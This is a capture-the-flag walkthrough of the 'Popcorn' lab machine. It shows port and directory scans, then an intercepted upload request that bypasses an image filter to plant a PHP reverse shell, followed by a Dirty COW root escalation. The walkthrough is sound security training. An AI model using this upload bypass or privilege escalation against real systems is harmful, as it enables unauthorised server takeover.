Popcorn (Linux)

Tuesday, September 25, 2018 8:07 PM

Initial Scan

```
Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-25 20:09 EDT
Nmap scan report for 10.10.10.6
Host is up (0.030s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Since port 80 is open, I brows to the webpage. It's a blank screen so I run a dirb on the URL for these results…

```
---- Scanning URL: http://10.10.10.6/ ----
+ http://10.10.10.6/cgi-bin/ (CODE:403|SIZE:286)
+ http://10.10.10.6/index (CODE:200|SIZE:177)
+ http://10.10.10.6/index.html (CODE:200|SIZE:177)
+ http://10.10.10.6/server-status (CODE:403|SIZE:291)
+ http://10.10.10.6/test (CODE:200|SIZE:47328)
==> DIRECTORY: http://10.10.10.6/torrent/

-----------------
END_TIME: Tue Sep 25 20:12:37 2018
DOWNLOADED: 4612 - FOUND: 5
```

Browsing to the /torrents directory, I find a website that allows you to upload torrent files and modify them. Once I upload a torrent file, I can upload addition files including image files. I get my .php reverse shell of choice ready and upload it as a .png while filtering through my burp proxy. The highlighted portions are what needed to be modified in order to upload properly. I had to make sure the original file I sent through the proxy had a .png extension or else it would be rejected and receive no **id=** parameter in the **POST** method.

```
POST /torrent/upload_file.php?mode=upload&id=9d20536552c00a9e4b3a2b0ae82332ca088d6b12 HTTP/1.1
Host: 10.10.10.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.6/torrent/edit.php?mode=edit&id=9d20536552c00a9e4b3a2b0ae82332ca088d6b12
Cookie: /torrent/=; /torrent/torrents.php=; /torrent/login.php=; /torrent/index.php=; saveit_0=5;
saveit_1=0; /torrent/torrents.phpfirsttimeload=0; /torrent/update_stats2.php=;
PHPSESSID=8abf6b8693a8059a6add578ed658f12a
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------531845525834498216818770 43
Content-Length: 5844

-----------------------------531845525834498216818770 43
Content-Disposition: form-data; name="file"; filename="php-reverse-shell.png.php"
Content-Type: image/png

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
```

Once the file is successfully uploaded, I browse to the **/torrent/upload** location and see that the file is encoded with a .php extension. Regardless, I start up a netcat listener and click the file for an instant reverse shell! I cat the user.txt immediately. Now on to privilege escalation.

Privilege Escalation

There are a couple ways to get privilege escalation. I chose the dirty cow way since the other way was not working very well. I navigate to **dirtycow.ninja** and find a reasonable exploit. In this case I choose **dirty.c.** I copy the raw code into a file on the popcorn machine and compile based on the instructions. The code aims to create the user firefart and give him root privileges. I run the exploit and get prompted with making a password for firefart. I set it, wait for a bit, background the process and **su firefart** with the password I just created and I can cat the root flag!!